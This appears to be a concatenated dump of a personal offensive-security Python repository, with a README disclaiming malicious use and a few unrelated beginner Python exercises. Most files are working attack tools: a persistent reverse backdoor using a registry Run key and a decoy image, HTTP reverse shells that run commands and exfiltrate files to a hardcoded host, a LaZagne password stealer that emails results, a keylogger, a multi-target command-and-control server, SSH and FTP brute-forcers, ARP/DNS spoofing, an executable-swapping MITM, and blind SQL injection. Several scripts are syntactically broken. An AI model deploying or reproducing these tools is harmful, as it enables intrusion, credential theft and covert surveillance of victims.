shutil.copyfile(sys.executable, location)
# Creates registry key to make our file run after every system start up.
# HKCU = HKEY_CURRENT_USER
subprocess.call('reg add HKCU\Software\Microsoft\Winwdows\CurrentVersion\Run /v Backoor /t REG_SZ /d "' + location + '"', shell=True)
# This will open an image file when we start the program to fool the user.
'''
file_name = sys._MEIPass + "\SomeImage.jpg"
try:
subprocess.Popen(file_name, shell=True)
except:
# Just a stub logic to potentially fool anti-virus
number = 1
'''
# Need to use the --add-data path-to-file.jpg argument with pyinstalled
# Example below
# C:\Python27\Scripts\pyinstaller.exe reverse_backdoor.py --add-data "C:\Users\somebody\OneDrive\Desktop\some.pdf;." --onefile --noconsole --icon " "C:\Users\somebody\OneDrive\Desktop\pdf.ico"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
make_connection()
sock.close()<file_sep>'''
Caution: Using this script for any malicious purpose is prohibited and against the law. Please read Twitter terms and conditions carefully. Use it on your own risk.
'''
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
from bs4 import BeautifulSoup as soupy
import urllib.request
import re
#Navigate to my twitter home page HussamKhrais, store the HTML page into html variable and pass it
#to soupy function so we can parse it
html = urllib.request.urlopen('https://twitter.com/HussamKhrais').read()
soup = soupy(html, features="html.parser")
#Here we search for specific HTML meta tags
x = soup.find("meta", {"name":"description"})['content']
filter = re.findall(r'"(.*)"', x) # filter any character between the double quotes and add that to a capture group.
tweet = filter[0]
print(tweet)
<file_sep>import requests
# This script is a good base script to check the web servers response to different HTTP methods.
# Currently it is checking for Cross Site Tracing (XST) attacks
verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
for verb in verbs:
req = requests.request(verb, 'http://packtpub.com')
print verb, req.status_code, req.reason
if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
print 'Possible Cross Site Tracing vulnerability found'<file_sep>#!/usr/bin/python
# python 3 compatible
# program to brute force SSH login
import pexpect
from termcolor import colored
PROMPT = ['# ','>>> ','> ','\$ ']
def send_command(child, command):
child.sendline(command)
child.expect(PROMPT)
print(child.before)
def connect(user,host,password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword: '])
if ret == 0:
print('[-] Error Connecting')
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword: '])
if ret == 0:
print('[-] Error Connecting')
return
child.sendline(password)
child.expect(PROMPT,timeout=0.5)
return child
def main():
host = input("Enter IP address of target to Bruteforce: ")
user = input("Enter user account name: ")
file = open('dictionary.txt', 'r')
for password in file.readlines():
password = <PASSWORD>')
try:
child = connect(user, host, password)
print (colored('[+] SSH Password Found: ' + password, 'green'))
send_command(child, 'uname -a')
exit(0)
except:
print (colored('[-] Wrong Password: ' + password, 'red'))
main()
<file_sep>#sniffing tool
import socket
#create an INET, raw packet
soc = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
# recieve a packet
while True:
print(soc.recvfrom(65565))<file_sep>#!/usr/bin/env python
# Remember we first have to be the Man in the Middle can do this via arp spoofing to redirect traffic
# echo 1 > /proc/sys/net/ipv4/ip_forward
# trap packets in queue using iptables -I FORWARD -j NFQUEUE --queue-num 0
# below two iptable rules are for local testing - use the above for real life min
# iptables -I OUTPUT -j NFQUEUE --queue-num 0
# iptables -I INPUT -j NFQUEUE --queue-num 0
# this is an underlying system setting and not python dependent, we will use python to read the Q
# ! will need this: pip install netfilterqueue
# needed to do this on Kali - apt-get install build-essential python-dev libnetfilter-queue-dev
# remember to iptables --flush when done
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
# DNSRR - for response [DNS Resource Record]
# DNSRQ - for request [DNS Question Record]
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "www.bing.com" in qname:
print("[+] Spoofing target")
#rdata = the IP address you want to redirect the target to, usually a web server
answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
# scapy will recreate packet checksum for us :)
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
# will cut traffic
# packet.drop()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
<file_sep>import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
'''
These lines serve to suppress a warning created by Scapy when IPv6 routing isn't configured, which causes the following output:
WARNING: No route found for IPv6 destination :: (no default route?)
'''
import sys
from scapy.all import *
# https://scapy.net/
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target+" for open TCP ports\n"
if startport==endport:
endport+=1
for x in range(startport,endport):
packet = IP(dst=target)/TCP(dport=x,flags="S")
response = sr1(packet,timeout=0.5,verbose=0)
if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12: #SYN-ACK response
print "Port "+str(x)+" is open!"
# Send Reset RST packet
sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0)
# This line is necessary in order to close the connection and prevent a TCP SYN-flood attack from occurring if the port range and the number of open ports are large.
print "Scan complete!\n"<file_sep>
def downloadFile(my_socket):
print("[+] Downloading file")
filename = my_socket.receiveData()
my_socket.receiveFile(filename)<file_sep># Python-Projects
_This repo use to be my private hacking repository for Personal Python Hacking Projects and Scripts_
_I have now made it public for those who which to make use of some of the scripts_
_I cannot be held liable for any use of these scripts for malicious purposes, they should be strictly used for educational purposes!_

## Markdown Resources and Examples
:panda_face:
* [Emoji cheatsheet](https://www.webfx.com/tools/emoji-cheat-sheet/)
* [Mastering Markdown Github Guide](https://guides.github.com/features/mastering-markdown/)
* [Markdown Cheatsheet](https://www.markdownguide.org/cheat-sheet/)
**Bold**
*Beautiful*
**Bold and _Beautiful_**
Test plain text
**HTML Tags also seem to work in markdown**
*Image below ise inserted and formated with HTML img tag*
<img src="Images\rick-sanchez.png" alt="<NAME>" height="200"/>
This line is inspired by <NAME>:
> To life is to risk it all, otherwise you are an inherent chuck of particles drifting wherver the universe takes you.
### Code Block Example
*Syntax highliting can be achieved by putting the programming language name beind the 3 ```*
```python
import socket
print "System Initializing"
print "Establashing server"
print "Hello World"
def make_server(address, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((address, port))
server.listen(5)
make_server("localhost", 1337)
print "We are listing"
````
```
No language indicated, so no syntax highlighting in Markdown Here (varies on Github).
But let's throw in a <b>tag</b>.
```
## Tables
> There must be at least 3 dashes separating each header cell.
> The outer pipes (|) are optional, and you don't need to make the
> raw Markdown line up prettily. You can also use inline Markdown.
Markdown | Table | Pretty
--- | --- | ---
*Still* | `renders` | **nicely**
1 | 2 | 3
<file_sep>import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=3:
print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
sys.exit(0)
livehosts=[]
#IP address validation
ipregex = re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
if (ipregex.match(sys.argv[1]) is None):
print "Starting IP address is invalid"
sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
print "End IP address is invalid"
sys.exit(0)
if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
print "IP addresses are not in the same class C subnet"
sys.exit(0)
if iplist1[3]>iplist2[3]:
print "Starting IP address is greater than ending IP address"
sys.exit(0)
networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
start_ip_last_octet = int(iplist1[3])
end_ip_last_octet = int(iplist2[3])
if iplist1[3]<iplist2[3]:
print "Pinging range "+networkaddr+str(start_ip_last_octet)+"- "+str(end_ip_last_octet)
else
print "Pinging "+networkaddr+str(startiplastoctect)+"\n"
for x in range(start_ip_last_octet, end_ip_last_octet+1)
packet=IP(dst=networkaddr+str(x))/ICMP()
response = sr1(packet,timeout=2,verbose=0)
if not (response is None):
if response[ICMP].type==0:
livehosts.append(networkaddr+str(x))
print "Scan complete!\n"
if len(livehosts)>0:
print "Hosts found:\n"
for host in livehosts:
print host+"\n"
else:
print "No live hosts found\n"<file_sep>#!/bin/bash
:<<'COMMENT'
Author: <NAME>
Date: 2015
Name: setup.sh
Purpose: This installation file does the basic installation of PIP, and relevant Python libraries.
Systems: This has only been tested on Kali
COMMENT
# Installing PIP
#apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y # Uncomment if necessary
apt-get -y install python-setuptools python-dev python-pip
# Install Python libraries
pip install netifaces python-nmap scapy msgpack-python twill xlsxwriter
# Upgrade requests
pip install request --upgrade
# Clone MSFRPC
cd /opt
git clone https://github.com/SpiderLabs/msfrpc.git
# Install Perl interface for MSFRPC
cd /opt/msfrpc/Net-MSFRPC
perl Makefile.PL
make
make install
# Install Python interface for MSFRPC
cd /opt/msfrpc/python-msfrpc
python ./setup.py build
python ./setup.py install<file_sep>#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username-list.txt>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('10.11.1.217',25))
# Receive the banner
banner = s.recv(1024)
print banner
usernames = open(sys.argv[1], 'r')
for username in usernames:
# VRFY a user
user = username.strip('\r').strip('\n')
s.send('VRFY ' + user + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
<file_sep>#!/usr/bin/env python
import requests, subprocess, smtplib, re, os, tempfile
def download(url):
get_response = requests.get(url)
# print(get_response.content)
# w - write b - binary
file_name = url.split("/")[-1]
# print(file_name)
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
def send_mail(email, password, message):
# Create an instace of an SMTP server, google allows you to use theirs
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
# Params (From, To, Message)
server.sendmail(email, email, message)
server.quit()
temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
# The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.).
# https://github.com/AlessandroZ/LaZagne/releases
download("https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe")
result = subprocess.check_output("lazagne.exe all", shell=True)
send_mail("email", "password", result)
os.remove("lazagne.exe")<file_sep>import socket
#not working for some reason
#create raw packet object (sniffer)
sniffer = socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP, 1)
#bind it to a host
sniffer.bind(('0.0.0.0', 0))
#make sure that IP header is included also
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1)
print('sniffer is listening for incoming connections')
#get a single packet
print(sniffer.recvfrom(65535))
<file_sep>import subprocess
def executeCommand(my_socket):
print("[+] Executing commands")
while True:
user_command = my_socket.receiveData()
print(user_command)
if user_command == "stop":
break
if user_command == "":
continue
#Todo: get environment variable to then run approbate shell
output = subprocess.run(["powershell", user_command], shell=True, capture_output=True)
if output.stderr.decode("utf-8") == "":
cmd_result = output.stdout.decode("utf-8")
else:
cmd_result = output.stderr.decode("utf-8")
# serialization = [data bytes] + delimeter bytes ["<END_OF_RESULT>"] # end of file delimeter to control byte flow
my_socket.sendCommandResult(cmd_result)<file_sep>from glob import glob
import os
# read file from the disk on hacker machine
# read it in the form of bytes
# append a delimeter to the end of bytes
# transfer file over the network
# remove the delimeter from the bytes to recover the original data
# write the file to the client disk
def uploadFiles(my_socket):
print("[+] Executing uploadFiles function")
# Will search current directory for all files
files = glob("*")
for index, filename in enumerate(files):
new_filename = os.path.basename(filename)
print("\t\t", index, "\t", new_filename)
while True:
try:
file_index = int(input("[+] Select file : "))
if len(files) >= file_index >= 0:
fileName = files[file_index]
break
except:
print("[!] Invalid file selected")
print("[+] Select file : ", fileName)
my_socket.sendData(fileName)
my_socket.sendFile(fileName)<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import requests
import subprocess
import time
while True:
req = requests.get('http://192.168.0.152:8080') # Send GET request to our kali server
command = req.text # Store the received txt into command variable
if 'terminate' in command:
break
else:
CMD = subprocess.Popen(command, shell=True,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stdout.read()) # POST the result
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stderr.read()) # or the error -if any-
time.sleep(3)
<file_sep>import socket, sys
host = sys.argv[1]
port = int(sys.argv[2])
#socket.AF_INET = ipv4 and socket.SOCK_STREAM = TCP connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host,port))
print("[+] Connection Made!")
except socket.error:
print("[+] Error happend/")
#Send data to the host specified above.
#Only works with Python 2 and not 3 - On 3 it causes TypeError: a bytes-like object is required, not 'str'
sock.send("Hi\n")<file_sep>#!/usr/bin/env python
# this will only work for normal HTTP and not HTTPS
import netfilterqueue
import scapy.all as scapy
ack_list = []
hackers_server_address = "example.org"
def set_load(packet, load):
# using HTTP 301 to redirect to simple download link.
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
if scapy_packet[scapy.TCP].dport == 80 or scapy_packet[scapy.TCP].dport == 10000:
# print("HTTP Request")
# remember all other file extensions such as pdf, docx
if ".exe" in scapy_packet[scapy.Raw].load and hackers_server_address not in scapy_packet[scapy.Raw].load:
print("[+] Found exe in request")
ack_list.append(scapy_packet[scapy.TCP].ack)
# print(scapy_packet.show())
print(scapy_packet.show())
elif scapy_packet[scapy.TCP].sport == 80 or scapy_packet[scapy.TCP].dport == 10000:
# print("HTTP Response")
if scapy_packet[scapy.TCP].seq in ack_list:
ack_list.remove(scapy_packet[scapy.TCP].seq)
print("[+] Replacing file")
print("[+] Old payload")
print(scapy_packet.show())
modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: http://" + hackers_server_address + "/custom.exe\n\n")
print("[+] New payload")
print(modified_packet.show())
packet.set_payload(str(modified_packet))
packet.accept()
# will cut traffic
# packet.drop()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()<file_sep>import requests
times = []
print "Kicking off the attempt"
cookies = {'cookie name': 'Cookie value'}
payload = {'injection': '\'or sleep char_length(password);#','Submit': 'submit'}
req = requests.post('<target url>' data=payload, cookies=cookies)
firstresponsetime = str(req.elapsed.total_seconds)
for x in range(1, firstresponsetime):
payload = {'injection': '\'or sleep(ord(substr(password,'+str(x)+', 1)));#', 'Submit': 'submit'}
req = requests.post('<target url>', data=payload,
cookies=cookies)
responsetime = req.elapsed.total_seconds
a = chr(responsetime)
times.append(a)
answer = ''.join(times)
print "Recovered String: "+ answer<file_sep>#!/usr/bin/python
import threading
import Queue
import socket
usernameList = open('users.txt','r').read().splitlines()
passwordList = open('passwords.txt','r').read().splitlines()
class WorkerThread(threading.Thread) :
def __init__(self, queue, tid) :
threading.Thread.__init__(self)
self.queue = queue
self.tid = tid
def run(self) :
while True :
username = None
try :
username = self.queue.get(timeout=1)
except Queue.Empty :
return
try :
for password in passwordList:
tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpSocket.connect(('### IP Address ###',### Port ###))
tcpSocket.recv(1024)
tcpSocket.send("### Syntax that allows login ###")
if '### Fail Response ###' in tcpSocket.recv(1024):
tcpSocket.close()
print "Failed " + username + "/" + password
else:
print "[+] Successful Login! Username: " + username + " Password: " + <PASSWORD>
except :
raise
self.queue.task_done()
queue = Queue.Queue()
threads = []
for i in range(1, 40) : # Number of threads
worker = WorkerThread(queue, i)
worker.setDaemon(True)
worker.start()
threads.append(worker)
for username in usernameList :
queue.put(username) # Push usernames onto queue
queue.join()
# wait for all threads to exit
for item in threads :
item.join()
print "Testing Complete!"<file_sep>#!/usr/bin/python3
import socket
import re
import sys
def connection(ip,user,password):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("Tyring to connect to: " + ip + ':' + user + ':' password)
sock.connect((ip, 21))
data = sock.recv(1024)
sock.send('User' + user * '\r\n')
data = sock.recv(1024)
sock.send('Password' + password * '\r\n')
data = sock.recv(1024)
sock.send('Quit' * '\r\n')
sock.close()
return data
# Needs to be user input.
user = 'User1'
#Should feed in via user supplied list file
password_list = ['<PASSWORD>','<PASSWORD>'.'<PASSWORD>']
for passwd in password_list:
print(connection("10.11.11.1",user,passwd))
<file_sep>#!/usr/bin/env python
# There are local and remote keyloggers, remember to try get it to start on statup.
# pip install pynput
import pynput.keyboard
import threading
import smtplib
class Keylogger:
def __init__(self, timer_interval, email, password):
self.log = "Keylogger started"
self.interval = timer_interval
self.email = email
self.password = <PASSWORD>
print("Constructing Keylogger Object")
# method will be called on self
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
# Need another thread to run to send email report.
def report(self):
print(self.log)
#self.send_mail(self.email, self.password, self.log)
self.log = ""
timer = threading.Timer(self.interval,self.report)
timer.start()
def start(self):
#callback function executed in the Listener()
keyboard_listner = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listner:
self.report()
keyboard_listner.join()
def append_to_log(self, string):
self.log = self.log + string
def send_mail(self, email, password, message):
# Create an instace of an SMTP server, google allows you to use theirs
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
# Params (From, To, Message)
server.sendmail(email, email, message)
server.quit()
<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import http.server
HOST_NAME = "192.168.0.152"
PORT_NUMBER = 8080
class MyHandler(http.server.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST
def do_GET(self):
command = input("Shell> ")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
def do_POST(self):
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-length']) #Define the length which means how many bytes the HTTP POST data contains, the length value has to be integer
postVar = self.rfile.read(length)
print(postVar.decode())
if __name__ == "__main__":
# We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)
server_class = http.server.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
except KeyboardInterrupt:
print('[!] Server is terminated')
httpd.server_close()
<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import requests
import os
import subprocess
import time
while True:
req = requests.get('http://192.168.0.152:8080')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab, path = command.split("*")
if os.path.exists(path):
url = "http://192.168.0.152:8080/store"
filer = {'file': open(path, 'rb')}
r = requests.post(url, files=filer)
else:
post_response = requests.post(url='http://192.168.0.152:8080', data='[-] Not able to find the file!'.encode())
elif 'search' in command: #The Formula is search <path>*.<file extension> -->for example let's say that we got search C:\\*.pdf
command = command[7:] #cut off the the first 7 character ,, output would be C:\\*.pdf
path, ext = command.split('*')
lists = '' # here we define a string where we will append our result on it
#os.walk is a function that will naviagate ALL the directoies specified in the provided path and returns three values:-
#1-dirpath is a string contains the path to the directory
#2-dirnames is a list of the names of the subdirectories in dirpath
#3-files is a list of the files name in dirpath
#Once we got the files list, we check each file (using for loop), if the file extension was matching what we are looking for, then we add the directory path into list string.
for dirpath, dirname, files in os.walk(path):
for file in files:
if file.endswith(ext):
lists = lists + '\n' + os.path.join(dirpath, file)
requests.post(url='http://192.168.0.152:8080', data=lists)
else:
CMD = subprocess.Popen(command, shell=True,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stderr.read())
time.sleep(3)
<file_sep>#!/usr/bin/env python
import keylogger
# 600 seconds = 10 min.
my_keylogger = keylogger.Keylogger(60, "<EMAIL>", "<PASSWORD>")
my_keylogger.start()<file_sep>'''
Object Oriented Programming
'''
class Student:
# Class variables
school = 'Online School'
number_of_students = 0
def __init__(self, first_name, last_name, major):
self.first_name = first_name
self.last_name = last_name
self.major = major
Student.number_of_students =+ 1
def fullname_with_major(self):
return f'{self.first_name} {self.last_name} is a {self.major} major.'
def fullname_major_school(self):
return f'{self.first_name} {self.last_name} is a {self.major} major at {self.school}'
def greetings(self):
return f'Hello, I am {self.first_name} {self.last_name}'
# Decorator
@classmethod
def set_online_school(cls, new_school):
# cls = class
cls.school = new_school
@classmethod
def split_students(cls, student_str):
first_name, last_name, major = student_str.split('.')
# Return cls means returning an initialized instance
return cls(first_name, last_name, major)
# Inheritance
class CollegeStudent(Student):
def __init__(self, first_name, last_name, major, age):
super().__init__(first_name, last_name, major)
self.age = age
# Overwrite existing method in student with custom one.
def greetings(self):
return f'Hello, I am {self.first_name} {self.last_name} and I am {str(self.age)} years old.'
student_1 = Student('Neo', 'Anderson', "Computer Science")
student_2 = CollegeStudent('John', 'Doe', 'Engineering', 21)
print(f'Number of students = {Student.number_of_students}')
print(student_1.fullname_major_school())
Student.set_online_school('Udemy')
print(student_2.greetings())
print(Student.fullname_major_school(student_2))
new_student = 'Adil.Yutzy.English'
student_3 = Student.split_students(new_student)
print(student_3.fullname_major_school())
print(f'Number of students = {Student.number_of_students}')
<file_sep>#!/usr/bin/python2.7
# This script can be used to discovery pages and files on a website depending on the dictionary file used and passed as the second argument.
import urllib2,sys
host = sys.argv[1]
dfile = sys.argv[2]
data = open(dfile, "r")
fdata = data.readlines()
for line in fdata:
linewn = line.strip("\n")
strreq = "{0}/{1}".format(host, linewn)
try:
req = urllib2.urlopen(strreq)
if req.code == 200:
print "[+] {0}/{1} is Found (200)".format(host,linewn)
except:
pass<file_sep>print('#'*10)
print("Nested Statements and Scope")
print('#'*10)
print()
y = 25
def printer():
y = 50
return y
print(y)
print(printer())
'''
LEGB Rule:
L: Local — Names assigned in any way within a function (def or lambda), and not declared global in that function.
E: Enclosing function locals — Names in the local scope of any and all enclosing functions (def or lambda), from inner to outer.
G: Global (module) — Names assigned at the top-level of a module file, or declared global in a def within the file.
B: Built-in (Python) — Names preassigned in the built-in names module : open, range, SyntaxError,...
'''
name = 'This is a global name'
def greet():
# Enclosing function
name = 'Sammy'
def hello():
print('Hello '+name)
hello()
greet()
x = 50
print(x)
def func():
global x
print(f'x is {x}')
x = "NEW VALUE"
print('I just LOCALLY changed GLOBAL x to', x)
func()<file_sep>#!/usr/bin/python
# python 2
# need to forward traffic by changing the file contents below from 0 to 1
# echo 1 > /proc/sys/net/ipv4/ip_forward
import scapy.all as scapy
def restore(destinationIp, sourceIp):
targetMac = getTargetMac(destinationIp)
sourceMac = getTargetMac(sourceIp)
packet = scapy.ARP(op=2, pdst=destinationIp, hwdst=targetMac, psrc=sourceIp, hwsrc=sourceMac)
scapy.sned(packet, verbose=False)
def getTargetMac(targetIp):
arpRequest = scapy.ARP(pdst=targetIp)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
finalPacket = broadcast/arpRequest
# first part of the list is the answer
answer = scapy.srp(finalPacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def spoofArp(targetIp, spoofedIp):
mac = getTargetMac(targetIp)
packet = scapy.ARP(op=2, hwdst=mac, pdst=targetIp, psrc=spoofedIp)
scapy.send(packet, verbose=False)
def main():
try:
while True:
spoofArp("10.0.2.1","10.0.2.5")
spoofArp("10.0.2.5","10.0.2.1")
except KeyboardInterrupt:
restore("10.0.2.1","10.0.2.5")
restore("10.0.2.5","10.0.2.1")
exit(0)
main()<file_sep>import smtplib
# Create an instace of an SMTP server, google allows you to use theirs
# Spoofying via google smtp does not seem to work, it will always display the original from address
# Need to turn on less secure app acccess in google account security
email = "<EMAIL>"
password = "<PASSWORD>"
toEmail = "<EMAIL>"
message = "Hello Steve"
fromEmail = "<EMAIL>"
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
# Params (From, To, Message)
server.sendmail(fromEmail, toEmail, message)
server.quit()<file_sep>#!/usr/bin/python
import socket
import json
import os
import base64
import threading
count = 0
def send_to_all(target,command):
json_data = json.dump(command)
target.send(json_data)
def shell(target,ip):
def reliable_send(data):
json_data = json.dump(data)
target.send(json_data)
def reliable_recv():
data = ""
while True:
try:
data = data + target.recv(1024)
return json.loads(data)
except ValueError:
continue
global count
while True:
command = raw_input("* Shell#~%s: " %str(ip))
reliable_send(command)
if command == "q":
break
elif command == "exit"
target.close()
targets.remove(target)
ips.remove(ip)
break
elif command[:2] == "cd" and len(command) > 1:
continue
elif command[:8] == "download":
# wb = write bytes
with open(command[9:], "wb") as file:
file_data = reliable_recv()
file.write(base64.b64decode(file_data))
elif command[:6] == "upload":
try:
# rb = read bytes
with open(command[7:], "rb") as fin:
reliable_send(base64.b64encode(fin.read()))
except:
failed = "Failed to Upload"
reliable_send(base64.b64encode(failed))
elif command[:10] == "screenshot":
with open("screenshot%d" % count, "wb") as screen:
image = reliable_recv()
image_decoded = base64.b64decode(image)
if image_decoded[:4] == "[!!]":
print(image_decoded)
else:
screen.write(image_decoded)
count += 1
elif command[:12] == "keylog_start":
continue
else:
result = reliable_recv()
print(result)
def server():
global clients
while True:
if stop_threads:
break
soc.settimeout(1)
try:
target, ip = soc.accept()
targets.append(target)
ips.append(ip)
print(str(targets[clients]) + " --- " + str(ips[clients]) + " has connected.")
clients += 1
except:
pass
global soc
ips = []
targets = []
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
soc.bind(("10.0.0.1", 54321))
soc.listen(5)
clients = 0
stop_threads = False
print("[+] Waiting for targets to connect...")
t1 = threading.Thread(target=server)
t1.start()
while True:
command = raw_input("* Command Center: ")
if command == "targets":
count = 0
for ip in ips:
print("Session " + str(count) + ". <---> " + str(ip))
count += 1
elif command[:7] == "session":
try:
num = int(command[8:])
target_num = targets[num]
target_ip = ips[num]
shell(target_num, target_ip)
except:
print("[!] No session under that number!")
elif command == "exit":
for target in targets:
target.close()
soc.close()
stop_threads = True
t1.join()
break
elif command[:7] == "sendall":
length_of_targets = len(targets)
i = 0
try:
while 1 < length_of_targets:
tar_num = targets[i]
print tar_num
send_to_all(tar_num, command)
i += 1
except:
print("[!] Failed to send command to all targets")
else:
print("[!!] Command does not exits!!")
<file_sep>#!/usr/bin/env python
# pip install scapy-python3
import scapy.all as scapy
import optparse
# argparse is the successor to optparse
def scan(ip):
# easy way
# scapy.arping(ip)
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
# print(arp_request_broadcast.summary())
# arp_request_broadcast.show()
# arp_request.pdst = ip
# print(arp_request.summary())
# list the names of the variables that can be set for the ARP class
# scapy.ls(scapy.ARP())
# srp allows us to send a packet with a custom Ether part
# normally returns 2 list by the [0] at the end says we just want 1 list
answeredList = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
# print(answeredList.summary())
clients_list = []
for element in answeredList:
client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
# print(element[1].psrc + "\t\t" + element[1].hwsrc)
clients_list.append(client_dict)
return clients_list
def print_result(results_list):
print("IP\t\t\tMAC Address\n-----------------------------------------")
for client in results_list:
print(client["ip"] + "\t\t" + client["mac"])
def get_arguments():
parser = optparse.OptionParser()
parser.add_option("-i", "--iprange", dest="iprange", help="The IP Range you want to scan")
(options, arguments) = parser.parse_args()
if not options.iprange:
parser.error("[-] Please specify an iprange to scan, use --help for more info.")
return options
user_input = get_arguments()
scan_result = scan(user_input.iprange)
print_result(scan_result)<file_sep>import string
print('Python Homework Problems')
print('#'* 10)
print()
print('Write a function that computes the volume of a sphere given its radius.')
def vol(rad):
return (4.0/3)*(3.14)*(rad**3)
print(vol(2))
print()
print('Write a function that checks whether a number is in a given range (inclusive of high and low)')
def ran_check(num,low,high):
if num in range(low, high):
print("{} is in the range".format(str(num)))
else:
print("The number is outside the range.")
ran_check(5,2,7)
def ran_bool(num,low,high):
return num in range(low,high)
print(ran_bool(3,1,10))
print()
print('Write a Python function that accepts a string and calculates the number of upper case letters and lower case letters.')
def up_low(s):
d={"upper":0, "lower":0}
for c in s:
if c.isupper():
d["upper"]+=1
elif c.islower():
d["lower"]+=1
else:
pass
print(f'Original String : {s}')
print(f'No. of Upper case characters : {d["upper"]}')
print(f'No. of Lower case characters : {d["lower"]}')
s = 'Hello Mr. Rogers, how are you this fine Tuesday?'
up_low(s)
